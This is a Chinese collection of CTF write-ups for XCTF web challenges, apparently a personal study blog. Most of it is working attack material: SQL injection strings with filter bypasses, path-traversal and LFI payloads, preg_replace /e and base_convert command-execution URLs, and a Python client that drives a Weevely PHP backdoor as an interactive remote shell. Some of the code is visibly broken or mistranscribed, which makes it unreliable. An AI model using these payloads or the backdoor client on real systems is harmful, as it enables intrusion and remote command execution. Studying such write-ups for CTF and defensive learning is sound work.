攻防世界(二)
攻防世界upload
扫目录
有几个配置文件
里面也发现不了什么东西,只能回到register页面
注册一个登进去,发现是一个上传目录的地方
小传一个,回显名称,文件链接呢
说是注入漏洞,我们之间select database()发现只剩下databse() select被替换为了空,那么我们先fuzz一下
这里直接双写绕过过滤
猜测它直接将我们上传的文件存入了数据库
那可能通过文件进行sql注入?
类似insert into 表名(‘filename’,…) values(‘上传的文件名’,…);这样
构造’ select database() ‘.jpg上传
结果被过滤了
猜测是select或空格被过滤
都改掉:双写select,空格用“+”
构造’+(selselectect database())+’.jpg
返回0
CONV():进制的转换
CONV(N,from_base,to_base) |
N是要转换的数据,from_base是原进制,to_base是目标进制 |
substr():搜索字符串 |
所以构造
'+(selecselectt substr(database(),1,12))+' |
又返回一个0
这里将database进行16进制转码
'+(selecselectt substr(hex(database()),1,12))+' |
返回了一个7765625
但是当进行16进制转字符串时却发现,并不是完整数据
说明有截断
那么就使用conv将16进制转换为10进制
'+(selecselectt conv(substr(hex(database()),1,12),16,10))+' |
至于这里为什么要截取呢那是因为13太长了转换成十进制会造成科学计数法
'+(selecselectt conv(substr(hex(database()),1,12),16,10))+' |
接着注入表的时候发现from被过滤了
再次双写绕过
'+(selecselectt conv(substr(hex((selecselectt group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),1,12),16,10))+' |
得到字段名
'+(selecselectt conv(substr(hex((selecselectt group_concat(column_name) frfromom information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+' |
得到数据
'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+' |
攻防世界Zhuanxv
文件包含下载文件
打开之后可以发现一个时钟页面,这里边点点看,边扫一下目录
挨个打开看看,发现在list下面有一个登录
这里随便点点,抓包看着点
发现有jsession ,但是这里为什么就能确定是java写的呢
Cookie |
紧接着发现一个疑似文件包含的漏洞,一般考Java的题目都会想办法给出源码
那么这里利用这个去尝试去读取../../WEB-INF/web.xml文件
/loadimage?fileName=../../WEB-INF/web.xml |
有一个struts2
apps-存放了所有Struts2的示例项目 |
这里接着读取struts.xml
/loadimage?fileName=../../WEB-INF/classes/struts.xml |
HTTP/1.1 200 |
这里有些class文件
<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute"> |
这里试着下载class文件试试,将.替换为/再在末尾添加.class
com/cuitctf/action/UserLoginAction.class |
接着使用idea反编译,得到登录源码,这里截取了部分有用的源码
public boolean userCheck(User user) { |
接着下载classes下面的applicationContext.xml文件
applicationContext.xml |
下载userserviceimpl.class |
public List<User> loginCheck(String name, String password) { |
找到登录的规则
是登陆语句的过滤规则,在UserDaoImpl.class中找到:
public List<User> loginCheck(String name, String password) { |
python脚本
import requests |
目录穿越配合代码审计写wtf脚本
目录穿越得到admin的cookies得到flag1
打开之后先点点看扫一下目录,做一下常规操作,目录没扫到有用的
登录这里是用户名和密码分开验证的
当用户名存在时验证密码
这里可能存在注入这里直接sqlmap跑一下
注册一个用户试试看,发现登录这里有用户名的回显,这里可能存在二次注入
newpost这里也有回显,都用sqlmap跑一下试试看
链接这里也发现一个参数
测试了目录穿越漏洞
http://111.200.241.244:63284/post.wtf?post=./K8laH 回显正常 |
这里搜索一下flag
发现在ft=wtf中存在
这里需要是cookies是admin并且username=admin才会输出flag1!在这里发现一个users有可能存放用户信息
这里经过尝试越权并不现实
这里的token是含盐的,既然有token这里去源码搜一下
回头使用目录穿越找一下users文件
这里发现了admin的token值,直接使用这两个值登一下
这里登进去的页面找了一圈也没有,发现在profile下面,记得再次更改cookies登进去
Flag: xctf{cb49256d1ab48803 这里得到flag1 |
代码审计写wtf脚本
那2呢?
要求上传.wtf文件,就可以控制服务器
而评论功能也存在路径穿越
function reply { |
评论功能的后台代码,也是存在路径穿越的。
代码把用户名写在了评论文件的内容中:echo “${username}” > “${next_file}”;
通过上面的分析:如果用户名是一段可执行代码,而且写入的文件是 wtf 格式的,那么这个文件就能够执行我们想要的代码。 (而且wtf.sh只运行文件扩展名为.wtf的脚本和前缀为’$’的行)先普通地评论一下,知晓评论发送的数据包的结构,在普通评论的基础上,进行路径穿越,上传后门sh.wtf
先注册一个${find,/,-iname,get_flag2}为用户名的用户
这里前面加个$是wtf文件执行命令的写法 find 所有目录下 不分大小写, get_flag2的名字的文件
到这个回复中
访问这个文件
%09是水平制表符,必须添加,不然后台会把我们的后门当做目录去解析。 |
在注册这个名字$/usr/bin/get_flag2
得到第二部分的flag
149e5ec49d3c29ca} |
文件包含,目录遍历,分析Weevely后门代码,写解密函数
弹出登录
扫一下目录
发现
hint.php
/etc/nginx/sites-enabled/site.conf 说文件的配置可能有问题,该文件应该是nginx的站点核心配置文件之一
Hack.php
访问改文件得到一个空白页面,猜测改文件没有直接输出任何语句
/admin | /admin/ |/ad,im/?/login | /admin/index.php都显示
/admin/admin.php
弹窗显示 you need to log in
, 然后跳转到 login.php
页面
/images
会跳转到/images/并返回403,没有可以利用的点
基本信息收集的差不多之后,我们现在有几个可以用的点
- /admin/admin.php页面
该页面需要登录情况下才能访问,但是我们没有账号和密码,也没有注册页面,所以账号和密码登录是不太现实的.同样爆破账号密码也不太可能.现在最理想的情况是那个地方泄露了cookie,我们可以利用这个cookie以某个用户的身份进行登录
2. /etc/nginx/sites-enabled/site.conf 文件
这个文中给出的提示,肯定有用,但是现在无法去读取这个文件,最常用的读取文件漏洞有”文件包含”与”任意文件下载(读取)”,但是需要找到可以利用的点
3.Hack.php页面
暂时还不知道是怎么利用但是看文件名字肯定可以利用
本地文件包含读取Nginx配置文件
这里发现在访问网址时都会带上一个isLogin的cookie,这里没有任何问题,但是isLogin的值被定义为”0”
想到cookie是用来识别用户的,维持登录状态的,这里的”0”可能表示布尔值,因此手动将其该为”isLogin=1”
然后再访问 /admin/admin.php
, 发现我们成功登录到了站点后台
后台看起来有很多选项卡 , 其实大部分都是假的 , 即使有几个选项存在页面跳转 , 也都是指向 index.php
, 没有什么问题 .
在登录时发现请求了这么一个界面
可以发现请求的是后台文件index.php
其中file参数是文件名,ext参数是文件扩展名,那么这里是否存在LFI(本地文件包含漏洞)
./测试
payload=file=./index&ext=php
2.../测试
payload=file=../index&ext=php
响应结果和./完全相同,看起来../并没有被解析处理,或者说是被过滤掉了.
3.….//测试
既然../可能被过滤了,那么就重叠写为….//这样如果是只过滤一次,并且过滤为空的话就可以绕过这个过滤
payload=file=....//&ext=php |
这里页面就发生了变化不在出现please continue,这里可能因为过滤检测后../index.php文件不存在.导致站点自动跳转到./index.php主页.因此重写法可以绕过../过滤
4.测试去除ext参数值
如果HTTP请求中ext=php是必须存在且无法更改的,那么这里利用会变得十分困难.因为我们的目标是/etc/nginx/sites-enabled/site.conf文件,而不是php文件
payload=file=index&ext= |
没有出现please continue,因此这里看到的页面可能是因为当前目录下面的index文件不存在而强制跳转到index.php
5.**测试去除ext参数值,并在file参数中添加文件扩展名
那么如何验证上述没有出现please continue字符串是因为站点中没有找到这个文件而出现的强制跳转这个猜想是正确的呢
payload=file=index.php&ext= |
出现了please continue,说明读取到了当前目录下面的index.php,而前面的没有找到这个站点没有读取到index这个文件,直接跳转到了index.php,因此没有出现please continue
这也说明了我们上面所有的猜想都是正确的.我们可以通过重写../来绕过站点的过滤机制
现在我们可以直接读取到/etc/nginx/sites-enabled/site.conf
payload = file=....//....//....//....///etc/nginx/sites-enabled/site.conf&ext= |
目录遍历漏洞拿到webshel
利用上面的漏洞,我们可以读取到所有已知文件名的文件,但是我们对于哪些我们不知道的文件,就没有办法读取,必须拿到其他的利用点.所以这里开始查看配置文件根据
Nginx的alias的用法及与root的区别
- toot的用法
location /request_path/image/ { |
alias的用法
location /request_path/image/ {
alias /local_path/image/;
}
这时候,当客户端请求 /request_path/image/cat.png 的时候,
Nginx把请求映射为/local_path/image/cat.png
这段代码给/web-img目录设置了一个别名/images/,并且开启了autoindex
alias 用于给 localtion 指定的路径设置别名 , 在路径匹配时 , alias 会把 location 后面配置的路径丢弃掉 , 并把当前匹配到的目录指向到 alias 指定的目录 .
注意!alias会丢弃掉loaction的路径,因此alias后面的路径是从系统根目录开始的,然后直接跟指定的路径,他和root的用法不一样,而autoindex是一个目录浏览功能,用于列出当前目录的所有文件及子目录
总之,这里访问/web-ima,就会访问系统跟目录下的/images/而如果在url中访问/web-img../则相当于访问/images/../,也就相当于访问系统根目录.而且由于开启了autoindex,我们可以直击在浏览器里看到根目录下的所有内容
这就是一个目录遍历漏洞,我们可以通过他查看系统中所有文件
遍历目录可以在/var/www下找到hack.php.bak
分析Weevely(Linux中的菜刀)后门代码
先定义多个变量,然后通过str_replace函数进行字符串的替换并拼接,接着通过create_fuction()创建了一个匿名函数,最后执行这个函数
str_replace()函数替换拼接后的代码就是匿名函数$f的内容因此这里输出$f,看看函数在干什么
|
需要注意这个正则函数 preg_match_all()
, 该函数从 Accept-Language
取值 , 然后通过正则匹配后输出到 $m 数组中 . 单独拿出来看 , $m 数组的输出内容是如下这样的 .
$m[0] : 所有可选语言及其权重系数 |
举个例子 : Accept-Language: zh-cn,zh;q=0.5 |
然后拼接了前两种可选语言的首字母 , 和预定义的字符串拼接并进行 md5 校验 , 截取等操作 . 然后赋值给 $h
和 $f
两个变量
#$p 应该是指payload,现在还为空 |
循环中的 $p .= $q[$m[2][$z]]
会不断从 $q
中提取数据 . 结合之前的代码 , 攻击代码是放在 Referer
中的( 最后会放在 $q
中 ) , 因此这里可以看作是拼接攻击代码 , 组合成 Payload . ‘
然后判断 $h 是否出现在 Payload 的开头 , 若是则设置 $_SESSION['$i'] = ""
, 同时删除 Payload 的 $h 部分 .
接着判断 $_SESSION
中那个是否存在 $i
这个键名 , 若是则将 Payload 赋值给 $_SESSION[$i]
, 然后查找 $_SESSION[$i]
( 也就是 Payload ) 中 $f
第一次出现的位置 .
if ($e) { |
紧跟上面的上面的代码,若payload中找到了$f第一次出现的位置,(也就是说明$f在payload中),就会继续执行如下过程.
- 生成密钥$k,该值由预定义的两个字符串拼接而成,然后打开输出控制缓冲区
- 截取payload中从开头到$f出现位置的这部分字符串(由此可以判断$f应该是出现在payload的末尾,这里删去$f)
- 利用pre_replace()函数,正则替换字符串中的’_’和’-‘为’/‘和’+’
- 替换后的字符串进行base64_decode解码操作
- 对解码后的字符串进行循环异或运算(就是调用x()函数)
- 对计算后的字符串调用gzuncompress()函数进行压缩
- 通过eval()函数执行压缩后的字符串
- 返回输出到缓冲区的内容,然后清空并关闭输出缓冲区
- 对缓冲区输出的内容通过gzcompress()函数进行压缩,再通过x()函数进行循环异或运算,最后通过base64_encode编码输出
整个后门代码的思路就是应该如上,攻击者通过referer传输攻击代码,这段攻击代码的格式应该为填充字符串+加密混淆后的payload+填充字符串.
该后门脚本接受到攻击者传送的数据包,先按照一定的顺序取出攻击代码,然后把前面两侧的填充字符串去除,拿到payload,然后对payload进行解密反混淆操作,接着通过eval函数执行攻击者指定的命令,最后通过命令执行结果加密编码呈现给攻击者
整体的解密流程还是非常清晰的,我们知道了后门是如何处理攻击者发送的恶意数据包,但是我们现在还没有连接脚本.无法构造出后门能处理的请求.因此这里需要逆向整个解密流程,以便构造出请求的数据包
逆向分析后门解密过程
我们需要根据解密流程构造出加密过程,其主要过程如下所示
定义一些变量与函数
$kh = "42f7";
$kf = "e9ac";
$k = "42f7e9ac";#$k = $kh.$kf
$language = "en,zh-CN;q=0.9,zh;q=8,zh-TW;q=0.7";#假设的 Accept-Language
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$language,$m);#输出$m 数组
$i = "ez";#$i = $m[1][0].$m[1][1];$m[1][0] = "e" , $m[1][1] = "z"
$h = strtolower(substr(md5($i.$kh),0,3));
$f = strtolower(substr(md5($i.$kf),0,3));
#定义x()函数
#由于异或运算是循环的(A ^ B ^ B = A),因此加密解密函数不变
function x($t,$k){
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0;$i < $l;){
for ($j = 0;($j < $c && $i < $l);$j++,$i++){
$o .= $t[$i] ^ $k[$j]; #php在7.4不在使用花括号访问数组或者字符串的偏移量需要将{}换成[]解决,这里先放着
}
}
return $o;
}
echo x($h,$f);这里主要提一下函数x(),正如注释里写的由于 A ^ B ^ B = A这个特性,所以加密过程和机密过程的x() 是完全相同的
构造payload
#构造payload
$payload1 = "phpinfo()";#假设payload1为phpinfo();
$payload2 = @gzcompress($payload1);#gzuncompress 逆向操作
$payload3 = @x($payload2,$k);#因为是异或运算,就无所谓逆向不逆向
$payload4 = @base64_encode($payload3);#base64-decode逆向操作
$payload5 = preg_match(array("/\//","/\+/"),array("_","-"),$payload4); #逆向正则替换
$payload6 = $payload5.$f;# 在末尾补齐$f
$payload7 = $h . $payload6;#在开头补全$h
$payload = $payload7;
#根据源代码 $p .=$q[$m[2][$z]];可以看出 $payload 拼接自 $q, $p来自与 HTTP_REFERER
#因此这里要构造 referer
$referer = "http://example.cpm/?a=qwer&b=$payload";
#解密时会按照一定的顺序从referer 中取出payload,但是加密过程不需要这一步
echo $referer,PHP_EOL;结合加密过程的内容,构造的payload过程
对收到的数据包的处理
因为后门会在eval()处理完毕后返回输出信息,且输出信息是被加密过的,因此还需要一个解密过程
$output = "xxx";#假设这是收到的响应数据
$o1 = base64_decode($output);
$o2 = x($o1,$k);
$o3 = gzuncompress($output);以上就是整个加密构造payload并接收响应数据的流程,思路还是比较简单的
现在就需要构造出最终的连接脚本
构造构造连接脚本
因为从referer中提取的payload的殊勋依赖于Accept-Language,而不同的客户端发送的Accept-Language可能不一样,因此这里需要一个函数来辅助生成随机的可选语言及权重值
# 用于生成随机的 Accept-Language
import base64
import random
import re
import string
# from idlelib.debugger_r import debugging
import urllib.parse
import zlib
from hashlib import md5
import requests
from urllib3.connectionpool import xrange
def choicePart(seq, amount):
# 获取seq的长度
length = len(seq)
# 如果长度等于零或者长度小于amount的值就打印错误返回空值
if length == 0 or length < amount:
print('Error Input')
# 返回空值
return None
result = [] # 定义结果数组
indexes = [] # 定义索引数组
count = 0
# 当count < amount时就
while count < amount:
i = random.randint(0, length - 1)
if not i in indexes: # 如果i不在indexes数组里面
indexes.append(i) # 就追加上i
result.append(seq[i]) # result数组就追加seq的第i位字符
count += 1 # count+一
if count == amount: # 如果和amount参数值相等
return result # 就返回值
# 生成随机填充字符串(由所有ASCII字符组成,可以不包括不可读的字符)
def rand_bytes_flow(amount):
result = ''
for i in range(amount): # 这里产生0 - amount 的数字
result += chr(random.randint(0, 255)) # 返回一个随机字符串
return result先判断输入的序列串是否为空,不为空就建立result数组,并循环经序列串中的值添加到result数组中,这里的序列串的是可以是可选语言,也可以是权重值,最后返回result数组
因为实际攻击代码的组成为随机填充数据+payload+随机填充数据,并且构造交互式shell也需要随机填充数据,因此这里需要创建函数来生成随机数来填充数据
# 生成随机填充字符串(由所有ASCII字符组成,可以不包括不可读的字符)
def rand_bytes_flow(amount):
result = ''
for i in range(amount): # 这里产生0 - amount 的数字
result += chr(random.randint(0, 255)) # 返回一个随机字符串
return result
# 生成随机填充字符串(有所有大小写字符组成)
def rand_alpha(amount):
result = ''
for i in range(amount):
# choice() 方法返回一个列表,元素或字符串的随机项
# string.ascii_letters 会生成所有字母
result += random.choice(string.ascii_letters)
return result这里创建了两个函数,分别对应不同的情况
循环异或函数
#模拟x()函数,循环异或加密
def loop_xor(text,key):
result = ''
len_key = len(key)
len_text = len(text)
i = 0
while i < len_text:
j = 0
while i < len_text and j < len_key:
result += chr(ord(key[j]) ^ ord(text[i]))
i += 1
j += 1
return result代码中x()函数
开启debug
#开启debug选项
def debug_Print(msg):
if debugging:
print(msg)这个可开可不开 , 开启 Debug 有助于代码分析
定义基本变量
# 定义基本变量
debugging = False # 默认关闭debug,可用true开启
keyh = "42f7" # $kh,需要更改
keyf = "e9ac" # $kf,需要更改
xor_key = keyh + keyf # $k异或密钥
url = 'http://111.200.241.244:61732/hack.php' # 指定url,需要更改
defaultlang = 'zh-CH' # 默认Language
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d'] # Accept-Language 模板
proxies = {'http': 'http://127.0.0.1:8080'} # 代理,可用burpsuite截取
sess = requests.Session() # 创建一个session对象生成完整的Accept-Language和payload两侧填充的随机填充空白
# 每次会话产生一次随机的 Accept-Language
lang_tmp = choicePart(languages, 3) # 这里先输出了一个列表,里面包含模板中的三种Aceept-language
indexes = sorted(choicePart(range(1, 10), 3), reverse=True) # 首先返回了一个三个数字的数组并且按照降序进行排序 例如[8,7,2]
accept_lang = [defaultlang] # 先添加默认langguage
for i in range(3):
accept_lang.append(lang_tmp[i] % (indexes[i]))
accept_lang_str = ','.join(accept_lang) # 使用,连接数组中的元素使其反回一个字符串
# accep_lang_str就是要使用的Accept-language
#print(accept_lang_str)
init2Char = accept_lang[0][0] + accept_lang[1][0] # $i 这里的就是数组中的 字符串 所以是二维数组
md5 = md5()
md5.update((init2Char + keyh).encode())
md5head = (md5.hexdigest())[0:3] # 这块首先进行连接在返回md5值,再返回16进制的数据字符串值 在进行截取前三位
md5.update((init2Char + keyf).encode())
md5tail = (md5.hexdigest())[0:3] + rand_alpha(random.randint(3, 8)) # $f + 填充字符串 在进行连接随机数量的填充字符构造payload这里有点问题在python3 中没有找到合适的函数进行解密
# 构造payload
# 交互式shell
cmd = "system('" + input('shell > ') + "');" # 其中input函数是从命令行获取标准输入并返回字符串
while cmd != '':
# 在写入payload前填充一些无关数据
query = []
for i in range(max(indexes) + 1 + random.randint(0, 2)):
key = rand_alpha(random.randint(3, 6))
value = base64.urlsafe_b64encode(
(rand_bytes_flow(random.randint(3, 12))).encode()).decode() # 转换为适合url传输的base64格式
query.append((key, value))
# 对payload进行加密
payload = (zlib.compress('cmd'.encode())).decode('utf-8',errors='ignore')
print(payload)
# 使用zlib.compress进行压缩操作 就是compress操作而这里的cmd是字符串而非bytes类型所以使用嗯code进行编码
payload = loop_xor(payload, xor_key) # 进行循环异或运算,相当于PHP代码中的x函数
payload = base64.urlsafe_b64encode(payload.encode()).decode() # 进行url的base64编码
payload = md5head + str(payload)
# print(payload)# 在开头补全$h 而这里的payload 是bytes类型所以转换成str
# 对payload进行修改1
cut_index = random.randint(2, len(payload) - 3)
payload_pieces = (payload[0:cut_index], payload[cut_index:], md5tail)
i_piece = 0
for i in indexes:
query[i] = (query[i][0], payload_pieces[i_piece])
i_piece += 1
# 将payload作为查询字符串编码拼接到referer中
referer = url + '?' + urllib.parse.urlencode(query)这里的代码用于构造payload,包括添加payload两侧的随机填充数据,payload本身的加密,最终把加密混淆后的payload作为参数值传输到referer中
发送请求数据,并接收处理响应数据
攻击代码写好了,下面仅需要发送请求并接收数据,解密后即可查看到攻击者的命令执行结果
headers = {'Accept-Language': accept_lang_str
, 'Referer': referer
}
req = sess.get(url, headers=headers, proxies=proxies)
#print(req.text)
html = req.text
# 接收响应数据包
pattern = re.compile(r'<%s>(.*)</%s>' % (xor_key, xor_key))
output = pattern.findall(html)
#print(output)
# 如果没有响应包,则对其进行处理
if len(output) == 0:
print('Error, no backdoor response')
cmd = "system('" + input('shell > ') + "');"
continue
# 如果收到响应数据包,则对其进行处理
output = output[0]
output = output.encode('base64') # base64_decode解码
output = loop_xor(output, xor_key) # 循环异或运算
output = zlib.decompress(output.encode()) # geuncompress 运算
print(output) # 输出响应信息
cmd = "system('" + input('shell > ') + "');"连接脚本获得数据
love_math攻防世界
扫目录
这题真简单..
打开网页得到源码
|
这个匹配规则能过的
abs(1) 匹配出abs能过 |
思路一
拼接裁剪的方式,首先不能加入其他的字符,只能使用上面的字符
payload:$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi() |
这段payload分为三部分,
- 首先定义一个变量名$pi,因为pi在白名单中最短,其值为phpot.min.fmod,因为hypot min fmod均在白名单中,而且phpinfo中的所有字符均可以在其中找到
- 然后从hypot.min.fmod中分别取第2 0 2 6 7 8 3位置的字符,拼接成phpinfo字符串,并重新赋值给$pi变量
- 最后执行$pi(),即执行phpinfo()函数.
但是根据这个思路去getflag,怎么也会超过长度
而其中的关键是base_convert()函数
base_convert() 函数在任意进制之间转换数字。 |
这里可以使用16进制,还可以使用36进制,可以带上所有小写字母
36进制,是数据的一种表示方式,同我们日常生活中的表示方法不一样,它由0-9,a-z组成,字母不区分大小写,与十进制对应的关系是0-9对应0-9,a-z对应10-35
那么接下来我们就可以进行转换了,既然字母会有过滤我们就可以将字母转换成十进制的数字,在使用baseconvert(10,36)转换回来
<?php |
payload:base_convert(55490343972,10,36)() |
接着我们使用system(‘ls’),这里因为不能转换()和’’只能转换字母
<?php |
payload:base_convert(1751504350,10,36)(base_convert(784,10,36)) |
接下来就是读取flag了,如果直接使用读取文件的函数file_get_contents中包含下划线,不在我们36进制之中,并且base_convert()的第一个参数太长会溢出,也就是10进制数没法无限大
思路二
借助getallheader()来控制请求头,通过请求头字段读取flag.php.这里也就类似于get,post之类的,但是只能控制小写字符,所以大写的直接被pass掉.getallheader()返回的是数组,要从数组里面取数据用array[‘xxx’].但是[]被waf了,因为{}中是可以带数字的,这里用getallheader(){1}可以分会自定义头1里面的内容
payload:c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1}) |
exec() 执行 command
参数所指定的命令。
base_convert(696468,10,36); 代表把696468从10进制转换为36进制,结果为exec。
base_convert(8768397090111664438,10,30); 代表把8768397090111664438从10进制转换为30进制,结果为getallheaders。注意这里不能用36进制,因为getallheaders的36进制转换为10进制后数太长会溢出,也就是无法把10进制数变回getallheader。所以我们在这里采用30进制。(当然这是在linux下使用php7.3版本的结果,如果是在windows下php7.0前的所有版本对于getallheader进行30-36的进制转换,再转换回来的时候都存在溢出,也就是无法把10进制数变回getallheader)
思路三
使用system(nl*)
payload:($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882))) |
base_convert(1751504350,10,36) ——–>system
$pi(1438255411,14,34) ——>hex2bin
dechex(1852579882) —–>将十进制转为十六进制:6e6c202a(字符串形式是:nl *)
nl *可以读取当前目录下的所有文件;
攻防世界isc-2
扫目录
download.php
downloads
目录有文件浏览漏洞
login
下有个paper
点一下跳转到
http://111.200.241.244:65396///index.php/login/download.php?dl=ssrf |
下载下来一个pdf里面是多半是ssrf
js
secret
secret.php
secret_debug.php
显示ip错误,那么这里就应该是ssrf的利用.这里是secret_debug.php说明结构应该和secret差不多,那么这里就可以注入了.
这里小试一下sql注入
"txtfirst_name":"1'", #单引号出现报错 |
并且在那么处爆了一个4
说明txtLast_name这里有回显,那么我们需要将语句构造到这里那么的话就需要使用/**/进行闭合一下下
最终闭合之后在4处回显数据库名称
python
import random |
攻防世界ics-05(preg_replace()函数 /e 漏洞)
查阅资料发现这里是一个文件包含漏洞
http://111.200.241.244:60854/index.php?page=index.php |
使用php://filter协议用于读取源码, php://input用于执行php代码
再次使用php://filter/read= 参数读取文件
在使用转换过滤器php://filter/read=convert.base64-encode/进行base64的编码
之后再次使用resource=参数来过滤筛选过滤的数据流
php://filter/read=convert.base64-encode/resource=index.php进行读取
具体实例
http://111.200.241.244:60854/index.php?page=php://filter/read=convert.base64-encode/resource=index.php |
得到源码
|
首先进行X-Forwarded-For:127.0.0.1参数伪造
之后由于preg_replace()函数的/e漏洞进行代码执行
这段 PHP 代码会获取 3 个变量:pat、rep 和 sub 的值,然后进入一个 if-else 语句。isset() 函数在 PHP 中用来判断变量是否声明,此处如果这 3 个值都有传递就会执行 **preg_replace()**函数。
preg_replace 函数执行一个正则表达式的搜索和替换,语法如下:
Copy mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) |
参数 | 说明 |
---|---|
$pattern | 要搜索的模式,可以是字符串或一个字符串数组 |
$replacement | 用于替换的字符串或字符串数组 |
$subject: 要搜索替换的目标字符串或字符串数组 | |
$limit | 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是 -1(无限制) |
$count | 可选,为替换执行的次数 |
如果 subject 是一个数组, preg_replace() 返回一个数组,其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。 | |
这个函数有个 “/e” 漏洞,“/e” 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码进行执行。如果这么做要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 |
/index.php?pat=/abc/e&rep=system('ls')&sub=abc |
获得css index.html index.php js layui logo.png s3chahahaDir start.sh 视图.png
查看一下s3chahahaDir这个目录
index.php?pat=/abc/e&rep=system('ls%20s3chahahaDir')&sub=abc |
执行成功,发现 s3chahahaDir 下有个 flag 文件夹,那就更可疑了,再次执行 ls 命令在该文件中查看内容
index.php?pat=/abc/e&rep=system('ls%20s3chahahaDir/flag')&sub=abc |
执行成功,发现 flag 文件夹下有一个 flag.php 文件,使用 cat 命令查看文件。查看之后打开 F12,即可看到 flag
/index.php?pat=/abc/e&rep=system('cat%20s3chahahaDir/flag/flag.php')&sub=abc |
sqlite 注入引发的pdf爬取与sha1密码爆破
打开没有发现什么有用信息,扫一下后台目录
python dirsearch.py -u http://111.200.241.244:52362/ |
挨个访问一下发现有
在admin.php页面发现
不可能注入成功
login.php登录试试发现输入单引号有报错
可以得到是sqlite数据库
这个页面查看源码看看,发现有一个debug参数
这里地址栏输入一下返回了部分源码
|
可以发现这里是判断查询数据是否存在,存在注入且将信息存放到了cookie中
tips:
sqlite数据库有一张sqlite_master表, |
这里构造查询用户创建表时的相关信息
usr=1'union select name,sql from sqlite_master--+&pw=a |
发现在coolie中存在有信息进行url解码得到有name,password,hint字段
构造查询name,password,hint字段
usr='union select id,group_concat(name) from Users--&pw=a |
name | password | hint |
---|---|---|
admin | 3fab54a50e770d830c0416df817567662a9dc85c | my fav word in my fav paper? |
fritze | 54eae8935c90f467427f05e4ece82cf569f89507 | !,my love is…? |
hansi | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd | ,the password is password |
所以这里需要查询他的论文
首先进行pdf文件的爬取工作
import urllib.request |
接下来就是提取pdf里的文本信息了,我在网上找了一个pdf转txt的工具:pdftotext.exe,这个工具可以通过命令行把pdf转txt文件,由于文件相对较多,可以通过python多线程来执行,当然也可以直接手动转换。
import os |
进行本地密码爆破
import hashlib |
得到密码ThinJerboa用户名admin
到admin.php进行登录
文件上传配合二次注入
扫目录
xdctf.sql
SET NAMES utf8; |
这里是数据库的信息主要提供给几个关键字段,有oldname filename extension
common.inc.php
|
这里是数据库的配置文件的信息,对所有的提交数据进行了addslashes转义,当开启gpc魔术方法之后会产生过滤,这里发现并没有,那么如果数据库并没有使用gkb编码的话就无法宽字节绕过,这里未知所以无法直接注入
upload
|
这里是对上传的白名单,并且仅仅是上传操作,并没有转码等操作,%00无法截断的话是无法造成.php文件的,所以直接上传是无法进行利用的.
rename
|
这里是rename重命名首先这里面的数据是从数据库中掏出来的,而从数据库中出来的数据会将在添加如数据库之前的\进行去除,那么这里就有可能造成二次注入 ,也就是先填入数据库中,在从数据库中取出来,在拼接到后面的语句上,造成二次注入.这里还有对extension与输入文件名的拼接操作,这里如果new文件名为1.php,并且extension为空的话就可以构造出.php为后缀的文件.
那么我们反过来看要输入一个新文件名字为1.php并且extension为空的话就可以利用.file_exists还要存在,这里的存在的老名字是全体名字也就是1.txt.也就是存在一个1.txt的文件那么我们要使1.txt的extension的值为空就需要利用update来注入
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='',`extension`='' where `fid`={$result['fid']}");#更新名字 |
也就是上传一个’,extension
=’.txt为后缀的文件名的文件,这里会将.txt去除因此最后拼接起来就将1.txt的extension值替换为空了,但是仔细考虑,这里接着会继续向下走,会把名字拼接成1.txt.txt,但是此时数据库里的值是
filename=1.txt extension="" |
但是这里是数据库里的值,真正的upload目录下是没有1.txt这个文件的.而是1.txt.txt文件,那么如果需要绕过file_exists()的话就需要再次上传1.txt文件.
接着就是对1.txt文件改名,前面我们已经说过了,现在数据库里的1.txt文件的extension值为空,那么我们对他进行重命名时会,从数据库里去除extension的值与新文件名进行拼接,那么如果上传一个1.php就会变成1.php+’’为1.php
连接即可
攻防世界fakebook
打开网页有login 与join界面login弱口令登录试试,登录使用sqlmap跑一下看有无注入
python sqlmap.py -r C:\Users\14980\Desktop\text1.txt --level 4 --dbs --batch |
查看一下源码,在扫描一下目录
发现这些挨个访问看看在robots.txt页面发现有
User-agent: * |
上面的文件虽然存在但是却无法访问到,有可能是因为权限不够,需要找系统中访问的其他方式
接下来下载下来user.php.bak得到源码
|
访问 view.php发现报错信息,得到绝对路径
/var/www/html/view.php |
这里对join 注册页面进行抓包使用sqlmap抓包看看有无注入发现有一个注入点
python sqlmap.py -r C:\Users\14980\Desktop\text1.txt -dbs --batch //这里得到数据库名 |
注册完成登录进去之后会发现只有一个username可以点击可以发现其在访问页面,在url中
http://111.200.241.244:64253/view.php?no=1 |
尝试一下sql注入发现报错信息
http://111.200.241.244:64253/view.php?no=1 and 1=1# 正常 |
可以发现有注入点,这里发现字段数为4
view.php?no=1 order by 3# 错误 |
在这里发现网页有对sql注入语句的过滤
http://111.200.241.244:64253/view.php?no=-1 union select 1,2,3,4# |
这里经过fuzz发现单个的字符并未进行过滤而是过滤的union select整个语句所以这里使用注释符/**/进行绕过,或者++进行绕过
http://111.200.241.244:64253/view.php?no=-1 union++select 1,2,3,4 |
这里发现2字段可以使用这里直接使用load_file()函数获取系统文件要求,权限较高,且要求文件的绝对路径,这里并没有
这里继续注入一下其他内容看看
http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,user(),3,4 |
